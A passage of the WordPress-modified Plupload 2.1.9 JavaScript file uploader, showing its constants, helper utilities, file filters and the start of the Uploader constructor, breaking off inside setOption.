1/**
2 * Plupload - multi-runtime File Uploader
3 * v2.1.9
4 *
5 * Copyright 2013, Moxiecode Systems AB
6 * Released under GPL License.
7 *
8 * License: http://www.plupload.com/license
9 * Contributing: http://www.plupload.com/contributing
10 *
11 * Date: 2016-05-15
12 */
13/**
14 * Plupload.js
15 *
16 * Copyright 2013, Moxiecode Systems AB
17 * Released under GPL License.
18 *
19 * License: http://www.plupload.com/license
20 * Contributing: http://www.plupload.com/contributing
21 */
22
23/**
24 * Modified for WordPress, Silverlight and Flash runtimes support was removed.
25 * See https://core.trac.wordpress.org/ticket/41755.
26 */
27
28/*global mOxie:true */
29
30;(function(window, o, undef) {
31
32var delay = window.setTimeout
33, fileFilters = {}
34;
35
36// convert plupload features to caps acceptable by mOxie
37function normalizeCaps(settings) {
38 var features = settings.required_features, caps = {};
39
40 function resolve(feature, value, strict) {
41 // Feature notation is deprecated, use caps (this thing here is required for backward compatibility)
42 var map = {
43 chunks: 'slice_blob',
44 jpgresize: 'send_binary_string',
45 pngresize: 'send_binary_string',
46 progress: 'report_upload_progress',
47 multi_selection: 'select_multiple',
48 dragdrop: 'drag_and_drop',
49 drop_element: 'drag_and_drop',
50 headers: 'send_custom_headers',
51 urlstream_upload: 'send_binary_string',
52 canSendBinary: 'send_binary',
53 triggerDialog: 'summon_file_dialog'
54 };
55
56 if (map[feature]) {
57 caps[map[feature]] = value;
58 } else if (!strict) {
59 caps[feature] = value;
60 }
61 }
62
63 if (typeof(features) === 'string') {
64 plupload.each(features.split(/\s*,\s*/), function(feature) {
65 resolve(feature, true);
66 });
67 } else if (typeof(features) === 'object') {
68 plupload.each(features, function(value, feature) {
69 resolve(feature, value);
70 });
71 } else if (features === true) {
72 // check settings for required features
73 if (settings.chunk_size > 0) {
74 caps.slice_blob = true;
75 }
76
77 if (settings.resize.enabled || !settings.multipart) {
78 caps.send_binary_string = true;
79 }
80
81 plupload.each(settings, function(value, feature) {
82 resolve(feature, !!value, true); // strict check
83 });
84 }
85
86 // WP: only html runtimes.
87 settings.runtimes = 'html5,html4';
88
89 return caps;
90}
91
92/**
93 * @module plupload
94 * @static
95 */
96var plupload = {
97 /**
98 * Plupload version will be replaced on build.
99 *
100 * @property VERSION
101 * @for Plupload
102 * @static
103 * @final
104 */
105 VERSION : '2.1.9',
106
107 /**
108 * The state of the queue before it has started and after it has finished
109 *
110 * @property STOPPED
111 * @static
112 * @final
113 */
114 STOPPED : 1,
115
116 /**
117 * Upload process is running
118 *
119 * @property STARTED
120 * @static
121 * @final
122 */
123 STARTED : 2,
124
125 /**
126 * File is queued for upload
127 *
128 * @property QUEUED
129 * @static
130 * @final
131 */
132 QUEUED : 1,
133
134 /**
135 * File is being uploaded
136 *
137 * @property UPLOADING
138 * @static
139 * @final
140 */
141 UPLOADING : 2,
142
143 /**
144 * File has failed to be uploaded
145 *
146 * @property FAILED
147 * @static
148 * @final
149 */
150 FAILED : 4,
151
152 /**
153 * File has been uploaded successfully
154 *
155 * @property DONE
156 * @static
157 * @final
158 */
159 DONE : 5,
160
161 // Error constants used by the Error event
162
163 /**
164 * Generic error for example if an exception is thrown inside Silverlight.
165 *
166 * @property GENERIC_ERROR
167 * @static
168 * @final
169 */
170 GENERIC_ERROR : -100,
171
172 /**
173 * HTTP transport error. For example if the server produces a HTTP status other than 200.
174 *
175 * @property HTTP_ERROR
176 * @static
177 * @final
178 */
179 HTTP_ERROR : -200,
180
181 /**
182 * Generic I/O error. For example if it wasn't possible to open the file stream on local machine.
183 *
184 * @property IO_ERROR
185 * @static
186 * @final
187 */
188 IO_ERROR : -300,
189
190 /**
191 * @property SECURITY_ERROR
192 * @static
193 * @final
194 */
195 SECURITY_ERROR : -400,
196
197 /**
198 * Initialization error. Will be triggered if no runtime was initialized.
199 *
200 * @property INIT_ERROR
201 * @static
202 * @final
203 */
204 INIT_ERROR : -500,
205
206 /**
207 * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered.
208 *
209 * @property FILE_SIZE_ERROR
210 * @static
211 * @final
212 */
213 FILE_SIZE_ERROR : -600,
214
215 /**
216 * File extension error. If the user selects a file that isn't valid according to the filters setting.
217 *
218 * @property FILE_EXTENSION_ERROR
219 * @static
220 * @final
221 */
222 FILE_EXTENSION_ERROR : -601,
223
224 /**
225 * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again.
226 *
227 * @property FILE_DUPLICATE_ERROR
228 * @static
229 * @final
230 */
231 FILE_DUPLICATE_ERROR : -602,
232
233 /**
234 * Runtime will try to detect if image is proper one. Otherwise will throw this error.
235 *
236 * @property IMAGE_FORMAT_ERROR
237 * @static
238 * @final
239 */
240 IMAGE_FORMAT_ERROR : -700,
241
242 /**
243 * While working on files runtime may run out of memory and will throw this error.
244 *
245 * @since 2.1.2
246 * @property MEMORY_ERROR
247 * @static
248 * @final
249 */
250 MEMORY_ERROR : -701,
251
252 /**
253 * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error.
254 *
255 * @property IMAGE_DIMENSIONS_ERROR
256 * @static
257 * @final
258 */
259 IMAGE_DIMENSIONS_ERROR : -702,
260
261 /**
262 * Mime type lookup table.
263 *
264 * @property mimeTypes
265 * @type Object
266 * @final
267 */
268 mimeTypes : o.mimes,
269
270 /**
271 * In some cases sniffing is the only way around :(
272 */
273 ua: o.ua,
274
275 /**
276 * Gets the true type of the built-in object (better version of typeof).
277 * @credits Angus Croll (http://javascriptweblog.wordpress.com/)
278 *
279 * @method typeOf
280 * @static
281 * @param {Object} o Object to check.
282 * @return {String} Object [[Class]]
283 */
284 typeOf: o.typeOf,
285
286 /**
287 * Extends the specified object with another object.
288 *
289 * @method extend
290 * @static
291 * @param {Object} target Object to extend.
292 * @param {Object..} obj Multiple objects to extend with.
293 * @return {Object} Same as target, the extended object.
294 */
295 extend : o.extend,
296
297 /**
298 * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers.
299 * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages
300 * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique.
301 * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property
302 * to an user unique key.
303 *
304 * @method guid
305 * @static
306 * @return {String} Virtually unique id.
307 */
308 guid : o.guid,
309
310 /**
311 * Get array of DOM Elements by their ids.
312 *
313 * @method get
314 * @param {String} id Identifier of the DOM Element
315 * @return {Array}
316 */
317 getAll : function get(ids) {
318 var els = [], el;
319
320 if (plupload.typeOf(ids) !== 'array') {
321 ids = [ids];
322 }
323
324 var i = ids.length;
325 while (i--) {
326 el = plupload.get(ids[i]);
327 if (el) {
328 els.push(el);
329 }
330 }
331
332 return els.length ? els : null;
333 },
334
335 /**
336 Get DOM element by id
337
338 @method get
339 @param {String} id Identifier of the DOM Element
340 @return {Node}
341 */
342 get: o.get,
343
344 /**
345 * Executes the callback function for each item in array/object. If you return false in the
346 * callback it will break the loop.
347 *
348 * @method each
349 * @static
350 * @param {Object} obj Object to iterate.
351 * @param {function} callback Callback function to execute for each item.
352 */
353 each : o.each,
354
355 /**
356 * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
357 *
358 * @method getPos
359 * @static
360 * @param {Element} node HTML element or element id to get x, y position from.
361 * @param {Element} root Optional root element to stop calculations at.
362 * @return {object} Absolute position of the specified element object with x, y fields.
363 */
364 getPos : o.getPos,
365
366 /**
367 * Returns the size of the specified node in pixels.
368 *
369 * @method getSize
370 * @static
371 * @param {Node} node Node to get the size of.
372 * @return {Object} Object with a w and h property.
373 */
374 getSize : o.getSize,
375
376 /**
377 * Encodes the specified string.
378 *
379 * @method xmlEncode
380 * @static
381 * @param {String} s String to encode.
382 * @return {String} Encoded string.
383 */
384 xmlEncode : function(str) {
385 var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g;
386
387 return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) {
388 return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr;
389 }) : str;
390 },
391
392 /**
393 * Forces anything into an array.
394 *
395 * @method toArray
396 * @static
397 * @param {Object} obj Object with length field.
398 * @return {Array} Array object containing all items.
399 */
400 toArray : o.toArray,
401
402 /**
403 * Find an element in array and return its index if present, otherwise return -1.
404 *
405 * @method inArray
406 * @static
407 * @param {mixed} needle Element to find
408 * @param {Array} array
409 * @return {Int} Index of the element, or -1 if not found
410 */
411 inArray : o.inArray,
412
413 /**
414 * Extends the language pack object with new items.
415 *
416 * @method addI18n
417 * @static
418 * @param {Object} pack Language pack items to add.
419 * @return {Object} Extended language pack object.
420 */
421 addI18n : o.addI18n,
422
423 /**
424 * Translates the specified string by checking for the english string in the language pack lookup.
425 *
426 * @method translate
427 * @static
428 * @param {String} str String to look for.
429 * @return {String} Translated string or the input string if it wasn't found.
430 */
431 translate : o.translate,
432
433 /**
434 * Checks if object is empty.
435 *
436 * @method isEmptyObj
437 * @static
438 * @param {Object} obj Object to check.
439 * @return {Boolean}
440 */
441 isEmptyObj : o.isEmptyObj,
442
443 /**
444 * Checks if specified DOM element has specified class.
445 *
446 * @method hasClass
447 * @static
448 * @param {Object} obj DOM element like object to add handler to.
449 * @param {String} name Class name
450 */
451 hasClass : o.hasClass,
452
453 /**
454 * Adds specified className to specified DOM element.
455 *
456 * @method addClass
457 * @static
458 * @param {Object} obj DOM element like object to add handler to.
459 * @param {String} name Class name
460 */
461 addClass : o.addClass,
462
463 /**
464 * Removes specified className from specified DOM element.
465 *
466 * @method removeClass
467 * @static
468 * @param {Object} obj DOM element like object to add handler to.
469 * @param {String} name Class name
470 */
471 removeClass : o.removeClass,
472
473 /**
474 * Returns a given computed style of a DOM element.
475 *
476 * @method getStyle
477 * @static
478 * @param {Object} obj DOM element like object.
479 * @param {String} name Style you want to get from the DOM element
480 */
481 getStyle : o.getStyle,
482
483 /**
484 * Adds an event handler to the specified object and store reference to the handler
485 * in objects internal Plupload registry (@see removeEvent).
486 *
487 * @method addEvent
488 * @static
489 * @param {Object} obj DOM element like object to add handler to.
490 * @param {String} name Name to add event listener to.
491 * @param {Function} callback Function to call when event occurs.
492 * @param {String} (optional) key that might be used to add specifity to the event record.
493 */
494 addEvent : o.addEvent,
495
496 /**
497 * Remove event handler from the specified object. If third argument (callback)
498 * is not specified remove all events with the specified name.
499 *
500 * @method removeEvent
501 * @static
502 * @param {Object} obj DOM element to remove event listener(s) from.
503 * @param {String} name Name of event listener to remove.
504 * @param {Function|String} (optional) might be a callback or unique key to match.
505 */
506 removeEvent: o.removeEvent,
507
508 /**
509 * Remove all kind of events from the specified object
510 *
511 * @method removeAllEvents
512 * @static
513 * @param {Object} obj DOM element to remove event listeners from.
514 * @param {String} (optional) unique key to match, when removing events.
515 */
516 removeAllEvents: o.removeAllEvents,
517
518 /**
519 * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _.
520 *
521 * @method cleanName
522 * @static
523 * @param {String} s String to clean up.
524 * @return {String} Cleaned string.
525 */
526 cleanName : function(name) {
527 var i, lookup;
528
529 // Replace diacritics
530 lookup = [
531 /[\300-\306]/g, 'A', /[\340-\346]/g, 'a',
532 /\307/g, 'C', /\347/g, 'c',
533 /[\310-\313]/g, 'E', /[\350-\353]/g, 'e',
534 /[\314-\317]/g, 'I', /[\354-\357]/g, 'i',
535 /\321/g, 'N', /\361/g, 'n',
536 /[\322-\330]/g, 'O', /[\362-\370]/g, 'o',
537 /[\331-\334]/g, 'U', /[\371-\374]/g, 'u'
538 ];
539
540 for (i = 0; i < lookup.length; i += 2) {
541 name = name.replace(lookup[i], lookup[i + 1]);
542 }
543
544 // Replace whitespace
545 name = name.replace(/\s+/g, '_');
546
547 // Remove anything else
548 name = name.replace(/[^a-z0-9_\-\.]+/gi, '');
549
550 return name;
551 },
552
553 /**
554 * Builds a full url out of a base URL and an object with items to append as query string items.
555 *
556 * @method buildUrl
557 * @static
558 * @param {String} url Base URL to append query string items to.
559 * @param {Object} items Name/value object to serialize as a querystring.
560 * @return {String} String with url + serialized query string items.
561 */
562 buildUrl : function(url, items) {
563 var query = '';
564
565 plupload.each(items, function(value, name) {
566 query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value);
567 });
568
569 if (query) {
570 url += (url.indexOf('?') > 0 ? '&' : '?') + query;
571 }
572
573 return url;
574 },
575
576 /**
577 * Formats the specified number as a size string for example 1024 becomes 1 KB.
578 *
579 * @method formatSize
580 * @static
581 * @param {Number} size Size to format as string.
582 * @return {String} Formatted size string.
583 */
584 formatSize : function(size) {
585
586 if (size === undef || /\D/.test(size)) {
587 return plupload.translate('N/A');
588 }
589
590 function round(num, precision) {
591 return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision);
592 }
593
594 var boundary = Math.pow(1024, 4);
595
596 // TB
597 if (size > boundary) {
598 return round(size / boundary, 1) + " " + plupload.translate('tb');
599 }
600
601 // GB
602 if (size > (boundary/=1024)) {
603 return round(size / boundary, 1) + " " + plupload.translate('gb');
604 }
605
606 // MB
607 if (size > (boundary/=1024)) {
608 return round(size / boundary, 1) + " " + plupload.translate('mb');
609 }
610
611 // KB
612 if (size > 1024) {
613 return Math.round(size / 1024) + " " + plupload.translate('kb');
614 }
615
616 return size + " " + plupload.translate('b');
617 },
618
619
620 /**
621 * Parses the specified size string into a byte value. For example 10kb becomes 10240.
622 *
623 * @method parseSize
624 * @static
625 * @param {String|Number} size String to parse or number to just pass through.
626 * @return {Number} Size in bytes.
627 */
628 parseSize : o.parseSizeStr,
629
630
631 /**
632 * A way to predict what runtime will be choosen in the current environment with the
633 * specified settings.
634 *
635 * @method predictRuntime
636 * @static
637 * @param {Object|String} config Plupload settings to check
638 * @param {String} [runtimes] Comma-separated list of runtimes to check against
639 * @return {String} Type of compatible runtime
640 */
641 predictRuntime : function(config, runtimes) {
642 var up, runtime;
643
644 up = new plupload.Uploader(config);
645 runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes);
646 up.destroy();
647 return runtime;
648 },
649
650 /**
651 * Registers a filter that will be executed for each file added to the queue.
652 * If callback returns false, file will not be added.
653 *
654 * Callback receives two arguments: a value for the filter as it was specified in settings.filters
655 * and a file to be filtered. Callback is executed in the context of uploader instance.
656 *
657 * @method addFileFilter
658 * @static
659 * @param {String} name Name of the filter by which it can be referenced in settings.filters
660 * @param {String} cb Callback - the actual routine that every added file must pass
661 */
662 addFileFilter: function(name, cb) {
663 fileFilters[name] = cb;
664 }
665};
666
667
668plupload.addFileFilter('mime_types', function(filters, file, cb) {
669 if (filters.length && !filters.regexp.test(file.name)) {
670 this.trigger('Error', {
671 code : plupload.FILE_EXTENSION_ERROR,
672 message : plupload.translate('File extension error.'),
673 file : file
674 });
675 cb(false);
676 } else {
677 cb(true);
678 }
679});
680
681
682plupload.addFileFilter('max_file_size', function(maxSize, file, cb) {
683 var undef;
684
685 maxSize = plupload.parseSize(maxSize);
686
687 // Invalid file size
688 if (file.size !== undef && maxSize && file.size > maxSize) {
689 this.trigger('Error', {
690 code : plupload.FILE_SIZE_ERROR,
691 message : plupload.translate('File size error.'),
692 file : file
693 });
694 cb(false);
695 } else {
696 cb(true);
697 }
698});
699
700
701plupload.addFileFilter('prevent_duplicates', function(value, file, cb) {
702 if (value) {
703 var ii = this.files.length;
704 while (ii--) {
705 // Compare by name and size (size might be 0 or undefined, but still equivalent for both)
706 if (file.name === this.files[ii].name && file.size === this.files[ii].size) {
707 this.trigger('Error', {
708 code : plupload.FILE_DUPLICATE_ERROR,
709 message : plupload.translate('Duplicate file error.'),
710 file : file
711 });
712 cb(false);
713 return;
714 }
715 }
716 }
717 cb(true);
718});
719
720
721/**
722@class Uploader
723@constructor
724
725@param {Object} settings For detailed information about each option check documentation.
726 @param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger.
727 @param {String} settings.url URL of the server-side upload handler.
728 @param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled.
729 @param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes.
730 @param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element.
731 @param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop.
732 @param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message.
733 @param {Object} [settings.filters={}] Set of file type filters.
734 @param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR`
735 @param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`.
736 @param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`.
737 @param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress)
738 @param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs.
739 @param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event.
740 @param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message.
741 @param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload.
742 @param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog.
743 @param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess.
744 @param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}`
745 @param {Number} [settings.resize.width] If image is bigger, it will be resized.
746 @param {Number} [settings.resize.height] If image is bigger, it will be resized.
747 @param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100).
748 @param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally.
749 @param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails.
750 @param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress)
751 @param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files.
752 @param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways).
753*/
754plupload.Uploader = function(options) {
755 /**
756 Fires when the current RunTime has been initialized.
757
758 @event Init
759 @param {plupload.Uploader} uploader Uploader instance sending the event.
760 */
761
762 /**
763 Fires after the init event incase you need to perform actions there.
764
765 @event PostInit
766 @param {plupload.Uploader} uploader Uploader instance sending the event.
767 */
768
769 /**
770 Fires when the option is changed in via uploader.setOption().
771
772 @event OptionChanged
773 @since 2.1
774 @param {plupload.Uploader} uploader Uploader instance sending the event.
775 @param {String} name Name of the option that was changed
776 @param {Mixed} value New value for the specified option
777 @param {Mixed} oldValue Previous value of the option
778 */
779
780 /**
781 Fires when the silverlight/flash or other shim needs to move.
782
783 @event Refresh
784 @param {plupload.Uploader} uploader Uploader instance sending the event.
785 */
786
787 /**
788 Fires when the overall state is being changed for the upload queue.
789
790 @event StateChanged
791 @param {plupload.Uploader} uploader Uploader instance sending the event.
792 */
793
794 /**
795 Fires when browse_button is clicked and browse dialog shows.
796
797 @event Browse
798 @since 2.1.2
799 @param {plupload.Uploader} uploader Uploader instance sending the event.
800 */
801
802 /**
803 Fires for every filtered file before it is added to the queue.
804
805 @event FileFiltered
806 @since 2.1
807 @param {plupload.Uploader} uploader Uploader instance sending the event.
808 @param {plupload.File} file Another file that has to be added to the queue.
809 */
810
811 /**
812 Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance.
813
814 @event QueueChanged
815 @param {plupload.Uploader} uploader Uploader instance sending the event.
816 */
817
818 /**
819 Fires after files were filtered and added to the queue.
820
821 @event FilesAdded
822 @param {plupload.Uploader} uploader Uploader instance sending the event.
823 @param {Array} files Array of file objects that were added to queue by the user.
824 */
825
826 /**
827 Fires when file is removed from the queue.
828
829 @event FilesRemoved
830 @param {plupload.Uploader} uploader Uploader instance sending the event.
831 @param {Array} files Array of files that got removed.
832 */
833
834 /**
835 Fires just before a file is uploaded. Can be used to cancel the upload for the specified file
836 by returning false from the handler.
837
838 @event BeforeUpload
839 @param {plupload.Uploader} uploader Uploader instance sending the event.
840 @param {plupload.File} file File to be uploaded.
841 */
842
843 /**
844 Fires when a file is to be uploaded by the runtime.
845
846 @event UploadFile
847 @param {plupload.Uploader} uploader Uploader instance sending the event.
848 @param {plupload.File} file File to be uploaded.
849 */
850
851 /**
852 Fires while a file is being uploaded. Use this event to update the current file upload progress.
853
854 @event UploadProgress
855 @param {plupload.Uploader} uploader Uploader instance sending the event.
856 @param {plupload.File} file File that is currently being uploaded.
857 */
858
859 /**
860 Fires when file chunk is uploaded.
861
862 @event ChunkUploaded
863 @param {plupload.Uploader} uploader Uploader instance sending the event.
864 @param {plupload.File} file File that the chunk was uploaded for.
865 @param {Object} result Object with response properties.
866 @param {Number} result.offset The amount of bytes the server has received so far, including this chunk.
867 @param {Number} result.total The size of the file.
868 @param {String} result.response The response body sent by the server.
869 @param {Number} result.status The HTTP status code sent by the server.
870 @param {String} result.responseHeaders All the response headers as a single string.
871 */
872
873 /**
874 Fires when a file is successfully uploaded.
875
876 @event FileUploaded
877 @param {plupload.Uploader} uploader Uploader instance sending the event.
878 @param {plupload.File} file File that was uploaded.
879 @param {Object} result Object with response properties.
880 @param {String} result.response The response body sent by the server.
881 @param {Number} result.status The HTTP status code sent by the server.
882 @param {String} result.responseHeaders All the response headers as a single string.
883 */
884
885 /**
886 Fires when all files in a queue are uploaded.
887
888 @event UploadComplete
889 @param {plupload.Uploader} uploader Uploader instance sending the event.
890 @param {Array} files Array of file objects that was added to queue/selected by the user.
891 */
892
893 /**
894 Fires when a error occurs.
895
896 @event Error
897 @param {plupload.Uploader} uploader Uploader instance sending the event.
898 @param {Object} error Contains code, message and sometimes file and other details.
899 @param {Number} error.code The plupload error code.
900 @param {String} error.message Description of the error (uses i18n).
901 */
902
903 /**
904 Fires when destroy method is called.
905
906 @event Destroy
907 @param {plupload.Uploader} uploader Uploader instance sending the event.
908 */
909 var uid = plupload.guid()
910 , settings
911 , files = []
912 , preferred_caps = {}
913 , fileInputs = []
914 , fileDrops = []
915 , startTime
916 , total
917 , disabled = false
918 , xhr
919 ;
920
921
922 // Private methods
923 function uploadNext() {
924 var file, count = 0, i;
925
926 if (this.state == plupload.STARTED) {
927 // Find first QUEUED file
928 for (i = 0; i < files.length; i++) {
929 if (!file && files[i].status == plupload.QUEUED) {
930 file = files[i];
931 if (this.trigger("BeforeUpload", file)) {
932 file.status = plupload.UPLOADING;
933 this.trigger("UploadFile", file);
934 }
935 } else {
936 count++;
937 }
938 }
939
940 // All files are DONE or FAILED
941 if (count == files.length) {
942 if (this.state !== plupload.STOPPED) {
943 this.state = plupload.STOPPED;
944 this.trigger("StateChanged");
945 }
946 this.trigger("UploadComplete", files);
947 }
948 }
949 }
950
951
952 function calcFile(file) {
953 file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100;
954 calc();
955 }
956
957
958 function calc() {
959 var i, file;
960
961 // Reset stats
962 total.reset();
963
964 // Check status, size, loaded etc on all files
965 for (i = 0; i < files.length; i++) {
966 file = files[i];
967
968 if (file.size !== undef) {
969 // We calculate totals based on original file size
970 total.size += file.origSize;
971
972 // Since we cannot predict file size after resize, we do opposite and
973 // interpolate loaded amount to match magnitude of total
974 total.loaded += file.loaded * file.origSize / file.size;
975 } else {
976 total.size = undef;
977 }
978
979 if (file.status == plupload.DONE) {
980 total.uploaded++;
981 } else if (file.status == plupload.FAILED) {
982 total.failed++;
983 } else {
984 total.queued++;
985 }
986 }
987
988 // If we couldn't calculate a total file size then use the number of files to calc percent
989 if (total.size === undef) {
990 total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0;
991 } else {
992 total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0));
993 total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0;
994 }
995 }
996
997
998 function getRUID() {
999 var ctrl = fileInputs[0] || fileDrops[0];
1000 if (ctrl) {
1001 return ctrl.getRuntime().uid;
1002 }
1003 return false;
1004 }
1005
1006
1007 function runtimeCan(file, cap) {
1008 if (file.ruid) {
1009 var info = o.Runtime.getInfo(file.ruid);
1010 if (info) {
1011 return info.can(cap);
1012 }
1013 }
1014 return false;
1015 }
1016
1017
1018 function bindEventListeners() {
1019 this.bind('FilesAdded FilesRemoved', function(up) {
1020 up.trigger('QueueChanged');
1021 up.refresh();
1022 });
1023
1024 this.bind('CancelUpload', onCancelUpload);
1025
1026 this.bind('BeforeUpload', onBeforeUpload);
1027
1028 this.bind('UploadFile', onUploadFile);
1029
1030 this.bind('UploadProgress', onUploadProgress);
1031
1032 this.bind('StateChanged', onStateChanged);
1033
1034 this.bind('QueueChanged', calc);
1035
1036 this.bind('Error', onError);
1037
1038 this.bind('FileUploaded', onFileUploaded);
1039
1040 this.bind('Destroy', onDestroy);
1041 }
1042
1043
1044 function initControls(settings, cb) {
1045 var self = this, inited = 0, queue = [];
1046
1047 // common settings
1048 var options = {
1049 runtime_order: settings.runtimes,
1050 required_caps: settings.required_features,
1051 preferred_caps: preferred_caps
1052 };
1053
1054 // add runtime specific options if any
1055 plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) {
1056 if (settings[runtime]) {
1057 options[runtime] = settings[runtime];
1058 }
1059 });
1060
1061 // initialize file pickers - there can be many
1062 if (settings.browse_button) {
1063 plupload.each(settings.browse_button, function(el) {
1064 queue.push(function(cb) {
1065 var fileInput = new o.FileInput(plupload.extend({}, options, {
1066 accept: settings.filters.mime_types,
1067 name: settings.file_data_name,
1068 multiple: settings.multi_selection,
1069 container: settings.container,
1070 browse_button: el
1071 }));
1072
1073 fileInput.onready = function() {
1074 var info = o.Runtime.getInfo(this.ruid);
1075
1076 // for backward compatibility
1077 o.extend(self.features, {
1078 chunks: info.can('slice_blob'),
1079 multipart: info.can('send_multipart'),
1080 multi_selection: info.can('select_multiple')
1081 });
1082
1083 inited++;
1084 fileInputs.push(this);
1085 cb();
1086 };
1087
1088 fileInput.onchange = function() {
1089 self.addFile(this.files);
1090 };
1091
1092 fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) {
1093 if (!disabled) {
1094 if (settings.browse_button_hover) {
1095 if ('mouseenter' === e.type) {
1096 o.addClass(el, settings.browse_button_hover);
1097 } else if ('mouseleave' === e.type) {
1098 o.removeClass(el, settings.browse_button_hover);
1099 }
1100 }
1101
1102 if (settings.browse_button_active) {
1103 if ('mousedown' === e.type) {
1104 o.addClass(el, settings.browse_button_active);
1105 } else if ('mouseup' === e.type) {
1106 o.removeClass(el, settings.browse_button_active);
1107 }
1108 }
1109 }
1110 });
1111
1112 fileInput.bind('mousedown', function() {
1113 self.trigger('Browse');
1114 });
1115
1116 fileInput.bind('error runtimeerror', function() {
1117 fileInput = null;
1118 cb();
1119 });
1120
1121 fileInput.init();
1122 });
1123 });
1124 }
1125
1126 // initialize drop zones
1127 if (settings.drop_element) {
1128 plupload.each(settings.drop_element, function(el) {
1129 queue.push(function(cb) {
1130 var fileDrop = new o.FileDrop(plupload.extend({}, options, {
1131 drop_zone: el
1132 }));
1133
1134 fileDrop.onready = function() {
1135 var info = o.Runtime.getInfo(this.ruid);
1136
1137 // for backward compatibility
1138 o.extend(self.features, {
1139 chunks: info.can('slice_blob'),
1140 multipart: info.can('send_multipart'),
1141 dragdrop: info.can('drag_and_drop')
1142 });
1143
1144 inited++;
1145 fileDrops.push(this);
1146 cb();
1147 };
1148
1149 fileDrop.ondrop = function() {
1150 self.addFile(this.files);
1151 };
1152
1153 fileDrop.bind('error runtimeerror', function() {
1154 fileDrop = null;
1155 cb();
1156 });
1157
1158 fileDrop.init();
1159 });
1160 });
1161 }
1162
1163
1164 o.inSeries(queue, function() {
1165 if (typeof(cb) === 'function') {
1166 cb(inited);
1167 }
1168 });
1169 }
1170
1171
1172 function resizeImage(blob, params, cb) {
1173 var img = new o.Image();
1174
1175 try {
1176 img.onload = function() {
1177 // no manipulation required if...
1178 if (params.width > this.width &&
1179 params.height > this.height &&
1180 params.quality === undef &&
1181 params.preserve_headers &&
1182 !params.crop
1183 ) {
1184 this.destroy();
1185 return cb(blob);
1186 }
1187 // otherwise downsize
1188 img.downsize(params.width, params.height, params.crop, params.preserve_headers);
1189 };
1190
1191 img.onresize = function() {
1192 cb(this.getAsBlob(blob.type, params.quality));
1193 this.destroy();
1194 };
1195
1196 img.onerror = function() {
1197 cb(blob);
1198 };
1199
1200 img.load(blob);
1201 } catch(ex) {
1202 cb(blob);
1203 }
1204 }
1205
1206
1207 function setOption(option, value, init) {
1208 var self = this, reinitRequired = false;
1209
1210 function _setOption(option, value, init) {
1211 var oldValue = settings[option];
1212
1213 switch (option) {
1214 case 'max_file_size':
1215 if (option === 'max_file_size') {
1216 settings.max_file_size = settings.filters.max_file_size = value;
1217 }
1218 break;
1219
1220 case 'chunk_size':
1221 if (value = plupload.parseSize(value)) {
1222 settings[option] = value;
1223 settings.send_file_name = true;
1224 }
1225 break;
1226
1227 case 'multipart':
1228 settings[option] = value;
1229 if (!value) {
1230 settings.send_file_name = true;
1231 }
